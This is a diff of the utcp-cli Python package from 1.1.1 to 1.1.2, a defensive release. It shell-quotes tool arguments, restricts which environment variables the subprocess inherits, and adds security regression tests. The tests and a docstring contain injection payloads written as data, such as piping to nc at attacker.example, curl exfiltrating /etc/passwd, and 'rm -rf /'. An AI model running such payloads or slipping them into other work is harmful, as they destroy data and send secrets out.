utcp-cli 1.1.1__tar.gz → 1.1.2__tar.gz

{utcp_cli-1.1.1 → utcp_cli-1.1.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: utcp-cli
-Version: 1.1.1
+Version: 1.1.2
 Summary: UTCP communication protocol plugin for wrapping local command-line tools.
 Author: UTCP Contributors
 License-Expression: MPL-2.0

{utcp_cli-1.1.1 → utcp_cli-1.1.2}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "utcp-cli"
-version = "1.1.1"
+version = "1.1.2"
 authors = [
   { name = "UTCP Contributors" },
 ]

{utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli/cli_call_template.py

@@ -9,15 +9,25 @@ import traceback
 class CommandStep(BaseModel):
     """REQUIRED
     Configuration for a single command step in a CLI execution flow.
-    
+
     Attributes:
         command: The command string to execute. Can contain UTCP_ARG_argname_UTCP_END
             placeholders that will be replaced with values from tool_args. Can also
             reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
+
+            Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
+            PowerShell single-quoted literals on Windows) so that
+            `tool_args` values cannot inject extra commands. As a
+            consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
+            expands to **exactly one shell token**. Tools that previously
+            relied on a single placeholder splitting into multiple flags
+            (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
+            use one placeholder per intended flag. This change ships with
+            utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
         append_to_final_output: Whether this command's output should be included
             in the final result. If not specified, defaults to False for all
             commands except the last one.
-    
+
     Examples:
         Basic command step:
         ```json
@@ -26,7 +36,7 @@ class CommandStep(BaseModel):
           "append_to_final_output": true
         }
         ```
-        
+
         Command with argument placeholders and output reference:
         ```json
         {
@@ -36,10 +46,15 @@ class CommandStep(BaseModel):
         ```
     """
     command: str = Field(
-        description="Command string to execute, may contain UTCP_ARG_argname_UTCP_END placeholders"
+        description=(
+            "Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
+            "placeholders. Each placeholder is shell-quoted at substitution "
+            "time and therefore expands to exactly one shell token; use one "
+            "placeholder per intended argument."
+        )
     )
     append_to_final_output: Optional[bool] = Field(
-        default=None, 
+        default=None,
         description="Whether to include this command's output in final result. Defaults to False for all except last command"
     )
 
@@ -54,26 +69,76 @@ class CliCallTemplate(CallTemplate):
     **Cross-Platform Script Generation:**
     - **Windows**: Commands are converted to a PowerShell script
     - **Unix/Linux/macOS**: Commands are converted to a Bash script
-    
+
     **Command Syntax Requirements:**
     - Windows: Use PowerShell syntax (e.g., `Get-ChildItem`, `Set-Location`)
     - Unix: Use Bash/shell syntax (e.g., `ls`, `cd`)
-    
+
     **Referencing Previous Command Output:**
     You can reference the output of previous commands using variables:
     - **PowerShell**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
     - **Bash**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
-    
+
     Example: `echo "Previous result: $CMD_0_OUTPUT"`
 
+    **Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
+    `UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
+    corresponding `tool_args` value, shell-quoted for the target shell
+    (`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
+    Each placeholder therefore expands to exactly one shell token. If a
+    tool needs multiple flags or arguments, define multiple placeholders
+    (one per flag) instead of relying on a single placeholder splitting
+    on whitespace. This change closes the command-injection vector
+    tracked as GHSA-33p6-5jxp-p3x4.
+
+    **Subprocess Environment (utcp-cli >= 1.1.2):**
+    The CLI subprocess no longer inherits the full host environment.
+    Inheritance is controlled by `inherit_env_vars`:
+      - Omitted / `null`: a built-in default allowlist of host variables
+        is passed through (e.g. `PATH`, `PATHEXT`, `SYSTEMROOT`, `HOME`,
+        `LANG`) so shells and binaries can be located normally.
+      - `[]`: strict mode — nothing from the host environment is
+        inherited; only `env_vars` is propagated.
+      - `["FOO", "BAR"]`: exactly those host variables are passed
+        through. The default allowlist is NOT merged in, so callers that
+        still need `PATH` must list it explicitly.
+    `env_vars` is always applied on top and overrides any inherited
+    value. Values in `env_vars` may be plain strings or `${VARNAME}`
+    style placeholders resolved by the UTCP client's variable
+    substitutor (note: those placeholders are resolved against the UTCP
+    client's variable sources, not against the host shell — to forward
+    a host variable by name use `inherit_env_vars`). This closes the
+    secret-exfiltration vector tracked as GHSA-5v57-8rxj-3p2r.
+
     Attributes:
         call_template_type: The type of the call template. Must be "cli".
         commands: A list of CommandStep objects defining the commands to execute
             in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders
             that will be replaced with values from tool_args during execution.
+            Placeholders are shell-quoted and therefore expand to exactly one
+            shell token (see class docstring).
         env_vars: A dictionary of environment variables to set for the command's
             execution context. Values can be static strings or placeholders for
-            variables from the UTCP client's variable substitutor.
+            variables from the UTCP client's variable substitutor. Always
+            propagated; overrides anything inherited from the host.
+        inherit_env_vars: Controls which host environment variables are
+            passed through to the subprocess.
+              - `None` (default): the built-in default allowlist
+                (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`,
+                `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is
+                inherited so shells and binaries work without extra
+                configuration.
+              - `[]`: strict mode — no host variables are inherited at
+                all. Only `env_vars` reaches the subprocess.
+              - `["FOO", "BAR"]`: exactly those host variables are
+                inherited. The default allowlist is replaced, not
+                extended, so include `PATH` (and any other required
+                shell vars) yourself if needed.
+            Variables named here that are not set on the host are
+            silently skipped. Use this to expose specific host secrets
+            such as `OPENAI_API_KEY`, `AWS_PROFILE`, `PYTHONPATH`, or
+            `NODE_PATH` without putting their values in the call
+            template.
         working_dir: The working directory from which to run the commands. If not
             provided, it defaults to the current process's working directory.
         auth: Authentication details. Not applicable to the CLI protocol, so it
@@ -97,7 +162,7 @@ class CliCallTemplate(CallTemplate):
           ]
         }
         ```
-        
+
         Referencing previous command output:
         ```json
         {
@@ -116,7 +181,7 @@ class CliCallTemplate(CallTemplate):
         }
         ```
 
-        Command with environment variables and placeholders:
+        Command with environment variables, host pass-through, and placeholders:
         ```json
         {
           "name": "python_multi_step_tool",
@@ -133,16 +198,19 @@ class CliCallTemplate(CallTemplate):
           "env_vars": {
             "PYTHONPATH": "/custom/path",
             "API_KEY": "${API_KEY_VAR}"
-          }
+          },
+          "inherit_env_vars": ["OPENAI_API_KEY", "AWS_PROFILE"]
         }
         ```
 
     Security Considerations:
         - Commands are executed in a subprocess. Ensure that the commands
           specified are from a trusted source.
-        - Avoid passing unsanitized user input directly into the command string.
-          Use tool argument validation where possible.
-        - All placeholders are replaced with string values from tool_args.
+        - `tool_args` values are shell-quoted on substitution, but the
+          *command template itself* is not — never assemble it from
+          untrusted input.
+        - The host environment is restricted; secrets are not propagated
+          unless explicitly named in `env_vars` or `inherit_env_vars`.
         - Commands should use the appropriate syntax for the target platform
           (PowerShell on Windows, Bash on Unix).
         - Previous command outputs are available as variables but should be
@@ -151,10 +219,30 @@ class CliCallTemplate(CallTemplate):
 
     call_template_type: Literal["cli"] = "cli"
     commands: List[CommandStep] = Field(
-        description="List of commands to execute in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders."
+        description=(
+            "List of commands to execute in order. Each command can contain "
+            "UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
+            "on substitution and therefore expand to exactly one shell token."
+        )
     )
     env_vars: Optional[Dict[str, str]] = Field(
-        default=None, description="Environment variables to set when executing the commands"
+        default=None,
+        description=(
+            "Environment variables to set when executing the commands. Always "
+            "propagated to the subprocess and override values inherited from "
+            "the host."
+        )
+    )
+    inherit_env_vars: Optional[List[str]] = Field(
+        default=None,
+        description=(
+            "Controls host environment inheritance. None (default) inherits "
+            "a built-in safe allowlist (PATH, HOME / PATHEXT, SYSTEMROOT, "
+            "etc.). [] disables host inheritance entirely. A list of names "
+            "replaces the default allowlist with exactly those variables, so "
+            "include PATH explicitly if your tool needs it. Names not set on "
+            "the host are skipped silently."
+        )
     )
     working_dir: Optional[str] = Field(
         default=None, description="Working directory for command execution"

{utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli/cli_communication_protocol.py

@@ -61,22 +61,89 @@ class CliCommunicationProtocol(CommunicationProtocol):
         """Log error messages."""
         logger.error(f"[CliCommunicationProtocol Error] {message}")
     
+    # Default set of host environment variables propagated to the CLI
+    # subprocess when `CliCallTemplate.inherit_env_vars` is not provided
+    # (i.e. None). Locating binaries (`PATH` / `PATHEXT`), basic shell +
+    # locale state, and Windows runtime paths are needed for almost any
+    # tool to start. Anything else (cloud creds, API keys, internal
+    # tokens) must be opted in by listing the variable name explicitly in
+    # `inherit_env_vars`, or its value provided in `env_vars`.
+    #
+    # If `inherit_env_vars == []`, the caller is opting into strict mode
+    # and NOTHING is inherited from the host — only `env_vars` reaches the
+    # subprocess.
+    #
+    # Backs GHSA-5v57-8rxj-3p2r: the previous implementation handed
+    # `os.environ.copy()` to the subprocess, which combined with the
+    # command injection in `_substitute_utcp_args`
+    # (GHSA-33p6-5jxp-p3x4) let an attacker exfiltrate every secret in
+    # the host process.
+    _DEFAULT_INHERITED_KEYS_UNIX: tuple = (
+        "PATH", "HOME", "LANG", "LC_ALL", "LC_CTYPE", "USER", "LOGNAME",
+        "SHELL", "TZ", "TERM",
+    )
+    _DEFAULT_INHERITED_KEYS_WINDOWS: tuple = (
+        "PATH", "PATHEXT", "SYSTEMROOT", "SYSTEMDRIVE", "WINDIR", "COMSPEC",
+        "TEMP", "TMP", "USERPROFILE", "USERNAME", "USERDOMAIN", "COMPUTERNAME",
+        "HOMEDRIVE", "HOMEPATH", "APPDATA", "LOCALAPPDATA", "PROGRAMDATA",
+        "PROGRAMFILES", "PROGRAMFILES(X86)", "PROGRAMW6432", "OS",
+        "PROCESSOR_ARCHITECTURE", "NUMBER_OF_PROCESSORS",
+    )
+
+    @classmethod
+    def _default_inherited_keys(cls) -> tuple:
+        """Return the platform-appropriate default inheritance list."""
+        if os.name == 'nt':
+            return cls._DEFAULT_INHERITED_KEYS_WINDOWS
+        return cls._DEFAULT_INHERITED_KEYS_UNIX
+
     def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
         """Prepare environment variables for command execution.
-        
+
+        Composes the subprocess environment with one layer of host
+        inheritance (controlled by `provider.inherit_env_vars`) plus
+        `provider.env_vars` on top:
+
+          - `inherit_env_vars is None` (default): pass through the
+            built-in default allowlist of host vars (PATH, HOME / PATHEXT,
+            SYSTEMROOT, etc.) so normal shells and binaries work without
+            extra wiring.
+          - `inherit_env_vars == []`: strict mode. Nothing from the host
+            environment reaches the subprocess — only `env_vars`.
+          - `inherit_env_vars == [...]`: pass through exactly the named
+            host variables. The default allowlist is NOT merged in, so
+            callers who still want PATH must include it explicitly.
+
+        `env_vars` is always applied last and overrides anything inherited
+        from the host.
+
+        This prevents the unrestricted host environment from leaking into
+        a subprocess that may be running attacker-controlled commands
+        (GHSA-5v57-8rxj-3p2r).
+
         Args:
             provider: The CLI provider
-            
+
         Returns:
             Environment variables dictionary
         """
-        import os
-        env = os.environ.copy()
-        
-        # Add custom environment variables if provided
+        if provider.inherit_env_vars is None:
+            inherited_keys: tuple = self._default_inherited_keys()
+        else:
+            inherited_keys = tuple(provider.inherit_env_vars)
+
+        env: Dict[str, str] = {}
+        for key in inherited_keys:
+            value = os.environ.get(key)
+            if value is not None:
+                env[key] = value
+
+        # Caller-supplied variables override anything inherited from the
+        # host. Unset host vars in `inherited_keys` are skipped silently
+        # so missing optionals don't break tool execution.
         if provider.env_vars:
             env.update(provider.env_vars)
-        
+
         return env
     
     async def _execute_command(
@@ -255,27 +322,55 @@ class CliCommunicationProtocol(CommunicationProtocol):
                 f"Deregistering CLI manual '{manual_call_template.name}' (no-op)"
             )
     
+    @staticmethod
+    def _shell_quote(value: str) -> str:
+        """Quote a single value so it is interpreted as one literal token by
+        the target shell (`bash` on Unix, `powershell.exe` on Windows).
+
+        On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
+        a PowerShell single-quoted literal: inside such a literal everything
+        is taken verbatim except `'` itself, which is escaped by doubling
+        (`''`). This blocks the metacharacters PowerShell would otherwise
+        interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
+        breaks).
+
+        Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
+        `str(tool_args[arg_name])` directly into the shell script, which
+        allowed arbitrary command injection (e.g.
+        `"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
+        """
+        if os.name == 'nt':
+            return "'" + value.replace("'", "''") + "'"
+        return shlex.quote(value)
+
     def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
         """Substitute UTCP_ARG placeholders in command string with tool arguments.
-        
+
+        Each substituted value is shell-quoted for the target shell so that
+        attacker-controlled `tool_args` cannot escape the placeholder and
+        inject extra commands. As a side effect, a placeholder always
+        expands to exactly one shell token: callers that need to pass
+        multiple flags / arguments must use multiple placeholders rather
+        than splitting a single string at runtime.
+
         Args:
             command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
             tool_args: Dictionary of argument names and values
-            
+
         Returns:
-            Command string with placeholders replaced by actual values
+            Command string with placeholders replaced by shell-quoted values
         """
         # Pattern to match UTCP_ARG_argname_UTCP_END
         pattern = r'UTCP_ARG_(.+?)_UTCP_END'
-        
+
         def replace_placeholder(match):
             arg_name = match.group(1)
             if arg_name in tool_args:
-                return str(tool_args[arg_name])
+                return self._shell_quote(str(tool_args[arg_name]))
             else:
                 self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
-                return f"MISSING_ARG_{arg_name}"
-        
+                return self._shell_quote(f"MISSING_ARG_{arg_name}")
+
         return re.sub(pattern, replace_placeholder, command)
     
     def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str:

{utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: utcp-cli
-Version: 1.1.1
+Version: 1.1.2
 Summary: UTCP communication protocol plugin for wrapping local command-line tools.
 Author: UTCP Contributors
 License-Expression: MPL-2.0

{utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/SOURCES.txt

@@ -9,4 +9,5 @@ src/utcp_cli.egg-info/dependency_links.txt
 src/utcp_cli.egg-info/entry_points.txt
 src/utcp_cli.egg-info/requires.txt
 src/utcp_cli.egg-info/top_level.txt
-tests/test_cli_communication_protocol.py
+tests/test_cli_communication_protocol.py
+tests/test_security.py

utcp_cli-1.1.2/tests/test_security.py

@@ -0,0 +1,420 @@
+"""Security tests for the CLI communication protocol.
+
+Pin the fixes for:
+
+- GHSA-33p6-5jxp-p3x4 (CWE-78, command injection via unsanitized
+  `tool_args` interpolation in `_substitute_utcp_args`).
+- GHSA-5v57-8rxj-3p2r (CWE-526, full host environment leaked to the
+  CLI subprocess via `_prepare_environment`).
+
+Each behavior is locked in here so a regression that re-introduces the
+historical bypass fails this file rather than silently shipping.
+"""
+import os
+import shlex
+import sys
+import tempfile
+
+import pytest
+import pytest_asyncio
+
+from utcp_cli.cli_communication_protocol import CliCommunicationProtocol
+from utcp_cli.cli_call_template import CliCallTemplate
+
+
+@pytest_asyncio.fixture
+async def transport() -> CliCommunicationProtocol:
+    yield CliCommunicationProtocol()
+
+
+# ---------------------------------------------------------------------------
+# GHSA-33p6-5jxp-p3x4 — _substitute_utcp_args must shell-quote substituted
+# values so attacker-controlled tool_args can't escape into the script.
+# ---------------------------------------------------------------------------
+
+class TestArgSubstitutionQuoting:
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "data.csv; curl http://attacker.example",
+            "data.csv && rm -rf /",
+            "data.csv | nc attacker.example 9999",
+            "data.csv `id`",
+            "data.csv $(id)",
+            'data.csv"; echo pwned; "',
+            "data.csv\nrm -rf /",
+            "value with spaces",
+            "value'with'quote",
+        ],
+    )
+    def test_shell_metacharacters_are_quoted(self, transport, value):
+        substituted = transport._substitute_utcp_args(
+            "echo UTCP_ARG_x_UTCP_END", {"x": value}
+        )
+        # The placeholder must be gone.
+        assert "UTCP_ARG_x_UTCP_END" not in substituted
+        # The original value must still be present (just quoted), so the
+        # tool actually sees it.
+        # On Unix shlex.quote may fully wrap in single quotes; on Windows we
+        # wrap in single quotes and double internal `'`. Either way the
+        # underlying characters appear somewhere in the substituted string.
+        assert any(part in substituted for part in value.split("'"))
+
+    def test_unix_quoting_uses_shlex(self, transport, monkeypatch):
+        monkeypatch.setattr(os, "name", "posix")
+        out = transport._substitute_utcp_args(
+            "run UTCP_ARG_x_UTCP_END", {"x": "a; rm -rf /"}
+        )
+        # shlex.quote wraps anything containing shell metas in single quotes.
+        assert out == f"run {shlex.quote('a; rm -rf /')}"
+        assert "; rm -rf /" not in out.replace(shlex.quote("a; rm -rf /"), "")
+
+    def test_windows_quoting_doubles_single_quote(self, transport, monkeypatch):
+        monkeypatch.setattr(os, "name", "nt")
+        out = transport._substitute_utcp_args(
+            "Get-Item UTCP_ARG_x_UTCP_END",
+            {"x": "C:\\Users\\bob's file.txt; whoami"},
+        )
+        # PowerShell single-quoted literal; embedded ' becomes ''.
+        assert out == "Get-Item 'C:\\Users\\bob''s file.txt; whoami'"
+
+    def test_windows_quoting_blocks_powershell_metacharacters(self, transport, monkeypatch):
+        monkeypatch.setattr(os, "name", "nt")
+        for payload in [
+            "x; whoami",
+            "x | whoami",
+            "x & whoami",
+            "x`whoami`",
+            "x$(whoami)",
+            "x\nwhoami",
+        ]:
+            out = transport._substitute_utcp_args(
+                "Get-Item UTCP_ARG_x_UTCP_END", {"x": payload}
+            )
+            # The whole payload must be wrapped as a single-quoted literal.
+            assert out.startswith("Get-Item '")
+            assert out.endswith("'")
+            # No unescaped single quote should appear in the middle.
+            inner = out[len("Get-Item '"):-1]
+            assert "'" not in inner.replace("''", "")
+
+    def test_missing_arg_placeholder_is_also_quoted(self, transport, monkeypatch):
+        # The fallback path used to return a bare `MISSING_ARG_<name>` token,
+        # which broke the invariant that every substitution is one shell
+        # token. Quote it for defense in depth.
+        monkeypatch.setattr(os, "name", "posix")
+        out = transport._substitute_utcp_args(
+            "echo UTCP_ARG_missing_UTCP_END", {}
+        )
+        assert "UTCP_ARG_missing_UTCP_END" not in out
+        # Either the literal token, or its shlex.quote'd form (alphanum +
+        # underscores normally don't need quoting):
+        assert "MISSING_ARG_missing" in out
+
+
+# ---------------------------------------------------------------------------
+# GHSA-5v57-8rxj-3p2r — _prepare_environment must NOT leak the full host
+# environment into the CLI subprocess.
+# ---------------------------------------------------------------------------
+
+class TestPreparedEnvironmentDoesNotLeakSecrets:
+    SECRET_KEYS = [
+        "OPENAI_API_KEY",
+        "ANTHROPIC_API_KEY",
+        "AWS_SECRET_ACCESS_KEY",
+        "AWS_ACCESS_KEY_ID",
+        "AZURE_CLIENT_SECRET",
+        "GITHUB_TOKEN",
+        "DATABASE_URL",
+        "SLACK_TOKEN",
+    ]
+
+    def test_secrets_in_host_env_do_not_propagate(self, transport, monkeypatch):
+        for k in self.SECRET_KEYS:
+            monkeypatch.setenv(k, f"super-secret-{k}")
+        provider = CliCallTemplate(commands=[{"command": "echo hi"}])
+        env = transport._prepare_environment(provider)
+        for k in self.SECRET_KEYS:
+            assert k not in env, (
+                f"{k} leaked from host environment into CLI subprocess "
+                "(GHSA-5v57-8rxj-3p2r). Only the safe-keys allowlist plus "
+                "provider.env_vars should propagate."
+            )
+
+    def test_explicit_env_vars_are_preserved(self, transport, monkeypatch):
+        # Caller can still inject extra env explicitly via env_vars, even
+        # for keys that are otherwise blocked.
+        monkeypatch.setenv("OPENAI_API_KEY", "host-value")
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            env_vars={"OPENAI_API_KEY": "explicit-value", "MY_FLAG": "1"},
+        )
+        env = transport._prepare_environment(provider)
+        assert env["OPENAI_API_KEY"] == "explicit-value"
+        assert env["MY_FLAG"] == "1"
+
+    def test_essentials_are_preserved(self, transport, monkeypatch):
+        # PATH must propagate or no binary can be located.
+        monkeypatch.setenv("PATH", "/usr/local/bin:/usr/bin:/bin")
+        provider = CliCallTemplate(commands=[{"command": "echo hi"}])
+        env = transport._prepare_environment(provider)
+        assert "PATH" in env
+
+    def test_env_vars_override_safe_defaults(self, transport, monkeypatch):
+        monkeypatch.setenv("PATH", "/usr/bin")
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            env_vars={"PATH": "/custom/bin"},
+        )
+        env = transport._prepare_environment(provider)
+        assert env["PATH"] == "/custom/bin"
+
+    def test_inherit_env_vars_passes_named_host_secrets(self, transport, monkeypatch):
+        # Caller can opt specific host secrets into the subprocess by name
+        # without copying their values into the call template.
+        monkeypatch.setenv("OPENAI_API_KEY", "sk-from-host")
+        monkeypatch.setenv("AWS_PROFILE", "prod")
+        # NOT requested:
+        monkeypatch.setenv("DATABASE_URL", "postgres://...")
+
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=["OPENAI_API_KEY", "AWS_PROFILE"],
+        )
+        env = transport._prepare_environment(provider)
+        assert env["OPENAI_API_KEY"] == "sk-from-host"
+        assert env["AWS_PROFILE"] == "prod"
+        assert "DATABASE_URL" not in env
+
+    def test_inherit_env_vars_skips_unset(self, transport, monkeypatch):
+        monkeypatch.delenv("THIS_DOES_NOT_EXIST", raising=False)
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=["THIS_DOES_NOT_EXIST"],
+        )
+        env = transport._prepare_environment(provider)
+        assert "THIS_DOES_NOT_EXIST" not in env
+
+    def test_env_vars_override_inherit_env_vars(self, transport, monkeypatch):
+        monkeypatch.setenv("OPENAI_API_KEY", "host-value")
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=["OPENAI_API_KEY"],
+            env_vars={"OPENAI_API_KEY": "explicit-override"},
+        )
+        env = transport._prepare_environment(provider)
+        assert env["OPENAI_API_KEY"] == "explicit-override"
+
+    def test_inherit_env_vars_empty_list_is_strict_mode(self, transport, monkeypatch):
+        # `inherit_env_vars=[]` means: nothing from host. Even PATH must
+        # not leak through.
+        monkeypatch.setenv("PATH", "/usr/bin")
+        monkeypatch.setenv("HOME", "/home/x")
+        monkeypatch.setenv("OPENAI_API_KEY", "secret")
+
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=[],
+        )
+        env = transport._prepare_environment(provider)
+        assert env == {}
+
+    def test_inherit_env_vars_empty_list_with_env_vars(self, transport, monkeypatch):
+        monkeypatch.setenv("PATH", "/usr/bin")
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=[],
+            env_vars={"FOO": "bar"},
+        )
+        env = transport._prepare_environment(provider)
+        # Only env_vars; default allowlist is bypassed.
+        assert env == {"FOO": "bar"}
+
+    def test_inherit_env_vars_list_replaces_default_allowlist(self, transport, monkeypatch):
+        # When the caller supplies a list, the default allowlist is NOT
+        # merged in. They get exactly the names they asked for.
+        monkeypatch.setenv("PATH", "/usr/bin")
+        monkeypatch.setenv("HOME", "/home/x")
+        monkeypatch.setenv("OPENAI_API_KEY", "secret")
+
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=["OPENAI_API_KEY"],
+        )
+        env = transport._prepare_environment(provider)
+        assert env == {"OPENAI_API_KEY": "secret"}
+
+    def test_default_inherit_env_vars_includes_path_and_home(self, transport, monkeypatch):
+        # `inherit_env_vars=None` (omitted) → default allowlist. PATH and
+        # at least one platform-specific home directory variable should
+        # be inherited so shells/binaries work.
+        monkeypatch.setenv("PATH", "/usr/bin")
+        if os.name == "nt":
+            monkeypatch.setenv("USERPROFILE", "C:\\Users\\x")
+            home_key = "USERPROFILE"
+        else:
+            monkeypatch.setenv("HOME", "/home/x")
+            home_key = "HOME"
+
+        provider = CliCallTemplate(commands=[{"command": "echo hi"}])
+        env = transport._prepare_environment(provider)
+        assert env["PATH"] == "/usr/bin"
+        assert home_key in env
+
+    def test_default_inherit_env_vars_does_not_include_secrets(self, transport, monkeypatch):
+        for k in self.SECRET_KEYS:
+            monkeypatch.setenv(k, f"super-secret-{k}")
+        provider = CliCallTemplate(commands=[{"command": "echo hi"}])
+        env = transport._prepare_environment(provider)
+        for k in self.SECRET_KEYS:
+            assert k not in env
+
+    def test_explicit_none_matches_default(self, transport, monkeypatch):
+        # Constructing with `inherit_env_vars=None` must produce the same
+        # environment as omitting the field entirely — the
+        # default-allowlist branch is keyed on `is None`, so don't let a
+        # subtle change (e.g. switching the default to `[]`) silently
+        # flip behavior.
+        monkeypatch.setenv("PATH", "/usr/bin")
+        monkeypatch.setenv("OPENAI_API_KEY", "secret")
+
+        omitted = CliCallTemplate(commands=[{"command": "echo hi"}])
+        explicit_none = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=None,
+        )
+        assert (
+            transport._prepare_environment(omitted)
+            == transport._prepare_environment(explicit_none)
+        )
+        assert "PATH" in transport._prepare_environment(explicit_none)
+        assert "OPENAI_API_KEY" not in transport._prepare_environment(explicit_none)
+
+    def test_list_replaces_default_does_not_pull_in_other_defaults(
+        self, transport, monkeypatch
+    ):
+        # Listing only PATH must not drag the rest of the default
+        # allowlist along (HOME / USERPROFILE / LANG / etc.).
+        monkeypatch.setenv("PATH", "/usr/bin")
+        monkeypatch.setenv("HOME", "/home/x")
+        monkeypatch.setenv("USERPROFILE", "C:\\Users\\x")
+        monkeypatch.setenv("LANG", "en_US.UTF-8")
+
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=["PATH"],
+        )
+        env = transport._prepare_environment(provider)
+        assert env == {"PATH": "/usr/bin"}
+
+    def test_duplicate_names_in_inherit_env_vars_are_idempotent(
+        self, transport, monkeypatch
+    ):
+        monkeypatch.setenv("FOO", "1")
+        provider = CliCallTemplate(
+            commands=[{"command": "echo hi"}],
+            inherit_env_vars=["FOO", "FOO", "FOO"],
+        )
+        env = transport._prepare_environment(provider)
+        assert env == {"FOO": "1"}
+
+    def test_unset_names_in_default_allowlist_are_skipped(
+        self, transport, monkeypatch
+    ):
+        # If a key in the default allowlist is not set on the host, the
+        # resulting env dict must simply omit it (not include `None` /
+        # empty string / raise).
+        for key in transport._default_inherited_keys():
+            monkeypatch.delenv(key, raising=False)
+        # Add just one so the dict isn't empty.
+        monkeypatch.setenv("PATH", "/usr/bin")
+
+        provider = CliCallTemplate(commands=[{"command": "echo hi"}])
+        env = transport._prepare_environment(provider)
+        assert env == {"PATH": "/usr/bin"}
+        # Specifically: never None values.
+        for v in env.values():
+            assert v is not None
+            assert isinstance(v, str)
+
+
+class TestInheritEnvVarsSerialization:
+    """Pydantic round-trip: inherit_env_vars must preserve the
+    None / [] / [...] distinction when a CliCallTemplate flows through
+    the serializer (and thus through OpenAPI / JSON manuals).
+    """
+
+    def test_round_trip_preserves_none(self):
+        from utcp_cli.cli_call_template import CliCallTemplateSerializer
+
+        tpl = CliCallTemplate(commands=[{"command": "x"}])
+        d = CliCallTemplateSerializer().to_dict(tpl)
+        # Either omitted or explicitly null is acceptable, but it must
+        # not silently become `[]`.
+        assert d.get("inherit_env_vars", None) is None
+        rebuilt = CliCallTemplateSerializer().validate_dict(d)
+        assert rebuilt.inherit_env_vars is None
+
+    def test_round_trip_preserves_empty_list(self):
+        from utcp_cli.cli_call_template import CliCallTemplateSerializer
+
+        tpl = CliCallTemplate(
+            commands=[{"command": "x"}], inherit_env_vars=[]
+        )
+        d = CliCallTemplateSerializer().to_dict(tpl)
+        assert d["inherit_env_vars"] == []
+        rebuilt = CliCallTemplateSerializer().validate_dict(d)
+        assert rebuilt.inherit_env_vars == []
+
+    def test_round_trip_preserves_listed_names(self):
+        from utcp_cli.cli_call_template import CliCallTemplateSerializer
+
+        tpl = CliCallTemplate(
+            commands=[{"command": "x"}],
+            inherit_env_vars=["PATH", "OPENAI_API_KEY"],
+        )
+        d = CliCallTemplateSerializer().to_dict(tpl)
+        assert d["inherit_env_vars"] == ["PATH", "OPENAI_API_KEY"]
+        rebuilt = CliCallTemplateSerializer().validate_dict(d)
+        assert rebuilt.inherit_env_vars == ["PATH", "OPENAI_API_KEY"]
+
+
+# ---------------------------------------------------------------------------
+# End-to-end: drive the real subprocess and confirm the injection payload
+# does NOT escape its placeholder. Skipped on Windows because the mock
+# script + bash assumptions don't apply identically.
+# ---------------------------------------------------------------------------
+
+@pytest.mark.skipif(os.name == "nt", reason="bash payload assumptions")
+@pytest.mark.asyncio
+async def test_no_command_injection_via_tool_args_unix(tmp_path):
+    """Run the real shell pipeline with a malicious tool_arg and confirm
+    the injected `touch` never runs.
+    """
+    transport = CliCommunicationProtocol()
+
+    canary = tmp_path / "pwned"
+
+    script = tmp_path / "echo_arg.py"
+    script.write_text(
+        "import sys\n"
+        "print('arg:' + sys.argv[1])\n"
+    )
+
+    call_template = CliCallTemplate(
+        commands=[
+            {"command": f"{sys.executable} {script} UTCP_ARG_value_UTCP_END"}
+        ]
+    )
+
+    payload = f"benign; touch {canary}"
+    result = await transport.call_tool(
+        None, "echo_arg", {"value": payload}, call_template
+    )
+
+    assert not canary.exists(), (
+        "Command injection regression (GHSA-33p6-5jxp-p3x4): "
+        "the `; touch` payload escaped the placeholder and ran."
+    )
+    # The script should have observed the literal payload.
+    assert "benign; touch" in str(result)